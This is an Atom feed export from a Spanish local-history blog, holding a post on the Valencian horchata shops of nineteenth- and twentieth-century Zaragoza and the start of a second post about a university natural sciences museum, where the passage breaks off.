<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3754730700529506539</id><updated>2025-03-11T19:11:40.569+01:00</updated><category term="EDAD CONTEMPORÁNEA"/><category term="HISTORIA"/><category term="TRADICIONES"/><category term="EDAD ANTIGUA"/><category term="EDAD MODERNA"/><category term="CONSTRUCCIONES CIVILES"/><category term="ROMA"/><category term="EDAD MEDIA"/><category term="NATURALEZA"/><category term="CEMENTERIOS"/><category term="ESCRITORES"/><category term="BATALLAS"/><category term="CLIMA"/><category term="CONSTRUCCIONES RELIGIOSAS"/><category term="LIBROS"/><category term="MITOLOGÍA"/><category term="MUJERES"/><category term="PINTORES"/><category term="PUENTES"/><category term="TEATRO"/><category term="URBANISMO"/><title type='text'>LA ZARAGOZA IGNORADA</title><subtitle type='html'>Historia de Zaragoza, tradiciones, urbanismo, arquitectura, mujeres, pintores, aves, dibujos, batallas y mucho más.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default?start-index=26&amp;max-results=25'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>42</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-1541985328518930351</id><published>2021-06-10T18:09:00.015+02:00</published><updated>2021-06-10T20:14:37.602+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="TRADICIONES"/><title type='text'>Las horchaterías de ayer:  &quot;el santuario de la frescura&quot; en los veranos zaragozanos</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;b&gt;FUERON MUY POPULARES DURANTE SIGLO Y MEDIO&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXA4LxUj9aGT_x-vRhbJhRmXZQjd3GU0jJmaXojsvgFB0-U3-FOJXFFoQKJV22_uw1MNMr-wzBisJBPJmNzosKwPopO6Em0GGo3DBIMRR2SOyEgnkd7kXZFMp6uFmnUKd2hG1rSYd4RG4s/s220/220px-Horchata_con_fartons.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;196&quot; data-original-width=&quot;220&quot; height=&quot;220&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXA4LxUj9aGT_x-vRhbJhRmXZQjd3GU0jJmaXojsvgFB0-U3-FOJXFFoQKJV22_uw1MNMr-wzBisJBPJmNzosKwPopO6Em0GGo3DBIMRR2SOyEgnkd7kXZFMp6uFmnUKd2hG1rSYd4RG4s/w247-h220/220px-Horchata_con_fartons.jpg&quot; width=&quot;247&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Horchata con fartons&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Hasta la década de los
cuarenta del siglo XIX, la horchata&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;1&lt;/span&gt;,&lt;/b&gt; bebida de muy antigua tradición en la zona de
Valencia, era prácticamente desconocida en nuestra tierra, pero la llegada de
&lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;horchateros valencianos a la ciudad, que abrieron establecimientos en los que se
ofrecía esta bebida, supuso una gran novedad y la horchata se convirtió también
aquí en una bebida muy popular.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;En los días calurosos del
verano, los zaragozanos de la más variada condición huyendo del sol se refugiaban
en las horchaterías y en su gratificante penumbra saboreaban los frescos productos
que ofrecían. &lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Mariano Gracia Albacar&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;2 &lt;/span&gt;e&lt;/b&gt;se
gran “cronista” de la Zaragoza de ayer, nos dejó abundantes y detalladas
noticias de las horchaterías de su tiempo a las que describe como &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“el santuario de la frescura”&lt;/i&gt; en las que
el aire &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;estaba “perfumado de esencia de
naranja y de limón”&lt;/i&gt;.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Por él sabemos que la
primera horchatería instalada en Zaragoza abrió sus puertas en pleno centro de
la ciudad entre 1840-1850 y que estaba regentada por un matrimonio procedente
del municipio valenciano de Torrente:&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;“El señor Mariano Puig, casado con Victoria Bosca, alias la
Marianeta, instaló su primer puesto de horchata en la calle Dormer, llamada
casa de Español&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;3&lt;/span&gt;&lt;/b&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;, propiedad del marqués
de Huarte y adquirió gran fama por sus exquisitos helados, horchatas y
sorbetes.”&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Fue un gran
acontecimiento social, pues en la ciudad no existían lugares que ofreciesen
este tipo de productos tan agradables y adecuados para las épocas de calor que además
eran aptos para todo tipo de públicos y edades al no contener alcohol. En las horchaterías
se servían las clásicas horchatas de chufas y de almendras, acompañadas de barquillos
y bollos (fartons), también grandes sorbetes de naranja o limón y exquisitos
helados, que dieron fama a la horchatería de la &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Marianeta&lt;/i&gt;. &lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Todas estas delicias se realizaban en la propia horchatería, a la vista del público, con productos de
la huerta valenciana, siendo además el precio bastante asequible. Además se podían
comprar para consumirlos en casa, toda una novedad en una ciudad en la que
todavía eran muy patentes las consecuencias de la Guerra de la Independencia. &lt;/span&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Con
el paso del tiempo fueron llegando más horchateros procedentes de otras localidades
valencianas, como Crevillente o Benimámet, y a finales del siglo XIX eran
muchas y muy afamadas las horchaterías existentes en la ciudad, todas ellas en el
“casco viejo”, el sector más antiguo de la ciudad que delimitaba el Coso.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Para instalar las
horchaterías los valencianos preferían las plantas bajas de las antiguas casas-palacio,
cuyos gruesos muros de piedra las aislaban del calor de las calles, manteniendo
fresco el interior. Un calor veraniego que, en realidad no podemos comparar con
el actual&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;4&lt;/span&gt;&lt;/b&gt;
pues las temperaturas no subían mucho más allá de los 30º&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;. &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; text-align: justify;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGOL5yN68d5EdJeWEdN-rNq0vP_6ryteH5ibOFA21hh5fDro5AQBkj7_FmauALmYgwCRC-bFEIacIBKnwM_b3Kp4wpSvLqBe7JamlxLfL5DGz4V-1lLFIUdKrhNBX_hoVkrkYg4BkO5xrm/s1002/HUERTANOS+870+Wikipedia.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1002&quot; data-original-width=&quot;763&quot; height=&quot;358&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGOL5yN68d5EdJeWEdN-rNq0vP_6ryteH5ibOFA21hh5fDro5AQBkj7_FmauALmYgwCRC-bFEIacIBKnwM_b3Kp4wpSvLqBe7JamlxLfL5DGz4V-1lLFIUdKrhNBX_hoVkrkYg4BkO5xrm/w273-h358/HUERTANOS+870+Wikipedia.jpg&quot; width=&quot;273&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Huertanos valencianos &lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Mariano Gracia describe
con primor las horchaterías de entonces, indica que estos establecimientos eran
muy sencillos, pero bastante pintorescos, pues en los primeros tiempos tanto los
dueños como sus ayudantes vestían sus tradicionales trajes valencianos, ofreciendo
un buen contraste con los nuestros, especialmente los peinados de las mujeres
muy adornados de agujas y pasadores, y el de los hombres que lucían pañuelos de
seda y blancos zaragüelles. &lt;/span&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Las horchaterías carecían
de grandes letreros o anuncios en el exterior y sus puertas estaban cubiertas por
toldos que daban paso a un interior fresco y limpio, de paredes muy blancas con
un amplio zócalo de &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“una fina esterilla
de juncos”&lt;/i&gt;. Las mesas de madera, también estaban pintadas de blanco y los
asientos eran simples banquetas de anea. El mostrador se disponía a uno de los
lados de la puerta y staba cubierto de brillante zinc, detrás de él, estaban
las gra&lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;e&lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;ndes garrapiñeras&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;/b&gt;en las que se fabricaban los productos que se
vendían.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;Montones de chufas, naranjas,
limones, canela y algunos dulces, proporcionaban al lugar un característico y perfumado
aroma. Se completaba el lugar con los estantes donde se colocaban los altos vasos,
las jarras y las poncheras.&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; text-align: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfv6EGnnYxjY-uQCONWn8Hs5rU5K6HoUDHh6k1w1hFBTUPoVPmc73gIxgT79gKPtCIO87UOIJuGewxSGGKhM7Nc0QBkOtKSjliQxnP9yKPkRzFFhEq64NsDred_mNhTPfx-TywgSiDeHMa/s885/HELADORA.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;885&quot; data-original-width=&quot;794&quot; height=&quot;241&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfv6EGnnYxjY-uQCONWn8Hs5rU5K6HoUDHh6k1w1hFBTUPoVPmc73gIxgT79gKPtCIO87UOIJuGewxSGGKhM7Nc0QBkOtKSjliQxnP9yKPkRzFFhEq64NsDred_mNhTPfx-TywgSiDeHMa/w216-h241/HELADORA.jpg&quot; width=&quot;216&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Garrapiñera o heladera&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Los
helados y sorbetes se producían de forma manual en las garrapiñeras, utensilios
de madera de gran tamaño con forma cubo en cuyo interior había un depósito más
pequeño en el que se introducían los líquidos a helar y que estaba dispuesto de
forma concéntrica al cubo. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;En el espacio
que quedaba entre las paredes de la garrapiñera y el depósito se depositaba el
hielo picado y con una manivela se hacía girar el depósito continuamente hasta
que el frío del hielo helaba su contenido. El continuo movimiento de
vueltas y vueltas, impedía que se convirtiese en un bloque. De este modo se
fabricaban los sorbetes, granizados y cremosos helados, utilizando el hielo que
procedía de los números &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;a href=&quot;https://lazaragozaignorada.blogspot.com/2019/09/sabias-que.html&quot;&gt;pozos de nieve&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;existentes
tanto en la ciudad como en los alrededores.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Las horchaterías eran
establecimientos temporales, cerraban sus puertas en invierno por no ser sus
productos adecuados para esa estación, pero volvían a abrirlas con la llegada
de la primavera, concretamente comenzaban la temporada el día de San José terminándola
a mediados de octubre, después de las fiestas del Pilar.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Al principio, los
horchateros se iban a sus lugares de procedencia a pasar el invierno, pero
pronto todos ellos echaron raíces aquí y para completar sus ingresos, durante
los inviernos se dedicaron a la fabricación de esteras, persianas de esparto, escobas,
felpudos…, negocios que combinaban a la perfección con las horchaterías, y que perduraron
hasta bien entrado el siglo XX.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;Ejemplo
de esto era la horchatería, esterería y almacén de persianas de Francisco Mas,
que heredó los negocios de sus tíos, naturales de Crevillente, los cuales
abrieron en 1852 su primera horchatería en Zaragoza. Esta horchatería estaba
vigente en 1909, situada en el Coso, 25, frente al palacio de Sástago.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEiW0gxNYZA7FkKxu2cG59SWIioKUK96LJotaH9dIleZKs_P8meufbC4H7H0G3BufgcZMYOTBtRJX9LCwVcvzaiedao4pYQjEUDTuKPK-w5eCYS3cw0KxC6sCxCYxRomQubihnONFQ7DT8/s639/pasaje.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;639&quot; data-original-width=&quot;453&quot; height=&quot;338&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEiW0gxNYZA7FkKxu2cG59SWIioKUK96LJotaH9dIleZKs_P8meufbC4H7H0G3BufgcZMYOTBtRJX9LCwVcvzaiedao4pYQjEUDTuKPK-w5eCYS3cw0KxC6sCxCYxRomQubihnONFQ7DT8/w240-h338/pasaje.jpg&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Pasaje de los Giles y horchatería&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;La última de estas
típicas horchaterías&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;,&lt;/b&gt; era descendiente
directa de la anteriormente citada y con el nombre de “Casa Mas” u &quot; Horchatería
Miguel “que pervivió hasta los últimos años del siglo XX. Estaba emplazada en “El
Tubo”, en el llamado pasaje de los Giles a su entrada por la calle Estébanes, y
siguiendo con la tradición estaba instalada en la planta baja de lo que quedaba
de un palacio renacentista, el de los Estébanes, que dieron nombre a la calle,
y del que todavía se conservan las cuatro columnas de su patio y una galería de
arcos del piso superior.&lt;/span&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Desconocemos cuando
abrió allí sus puertas esta horchatería pero debió de ser a comienzos del siglo
XX, pues el pasaje de los Giles se realizó en 1898 y la tienda de Alfombras
Miguel, que está situada junto a él y que combinaba su actividad con el negocio
de las horchatas, está vigente en ese lugar desde 1902, según anuncio del
propio comercio, por lo que es de suponer que su apertura fuese en ese año.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Tras cien años de
existencia el pasaje se encontraba muy degradado y “Casa Mas” cerró para
siempre sus puertas a finales de los años noventa, poniendo punto final a una “refrescante”
tradición de siglo y medio.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Todavía mi hermana y yo
pudimos saborear en ella alguna de sus ricas horchatas valencianas.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify; text-indent: 35.45pt;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;div style=&quot;border-bottom: solid windowtext 1.5pt; border: medium none; mso-element: para-border-div; padding: 0cm 0cm 1pt; text-align: left;&quot;&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; mso-border-bottom-alt: solid windowtext 1.5pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm; padding: 0cm; text-align: right;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;Rosa
María Germán&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; mso-border-bottom-alt: solid windowtext 1.5pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm; padding: 0cm; text-align: left;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;----------------------------------------------------------------------------------------------------------------------------- &lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;

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&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: x-small; line-height: 115%; mso-bidi-font-size: 9.0pt;&quot;&gt;1.-
Bebida refrescante azucarada que puede elaborarse con distintos productos
originaria de Valencia. La &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;más popular
es la de chufa, tubérculo de la planta con el mismo nombre (&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Cyperus&lt;/i&gt; &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;esculentus&lt;/i&gt;).&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;tab-stops: 23.25pt 51.0pt; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;2.-
Mariano Gracia Albacar publicó sus &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Memorias&lt;/i&gt;
en el Heraldo de Aragón entre 1905-1906, haciéndolo por entregas. En 2013 fueron
publicadas por la Institución Fernando el Católico con el título &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Memorias&lt;/i&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;de&lt;/i&gt; un zaragozano (1850–1861). &lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;

&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;tab-stops: 23.25pt 51.0pt; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-small; mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;3.- Esa casa todavía existe hoy, es la llamada
Casa Huarte o de los Azara, palacio renacentista que siglos después fue
convertida en casa de vecinos. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;Actualmente
en este palacio se encuentra instalado el Archivo Histórico Provincial de Zaragoza.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
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&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/1541985328518930351/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2021/06/las-horchaterias-de-ayer-fueron-el.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/1541985328518930351'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/1541985328518930351'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2021/06/las-horchaterias-de-ayer-fueron-el.html' title='Las horchaterías de ayer:  &quot;el santuario de la frescura&quot; en los veranos zaragozanos'/><author><name>Rosa</name><uri>http://www.blogger.com/profile/08409146523301149560</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXA4LxUj9aGT_x-vRhbJhRmXZQjd3GU0jJmaXojsvgFB0-U3-FOJXFFoQKJV22_uw1MNMr-wzBisJBPJmNzosKwPopO6Em0GGo3DBIMRR2SOyEgnkd7kXZFMp6uFmnUKd2hG1rSYd4RG4s/s72-w247-h220-c/220px-Horchata_con_fartons.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-7925766371888874970</id><published>2021-04-15T16:58:00.007+02:00</published><updated>2021-04-15T17:48:29.430+02:00</updated><title type='text'>Descubriendo el Museo de Ciencias Naturales de la Universidad de Zaragoza </title><content type='html'>&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/p&gt;&lt;table 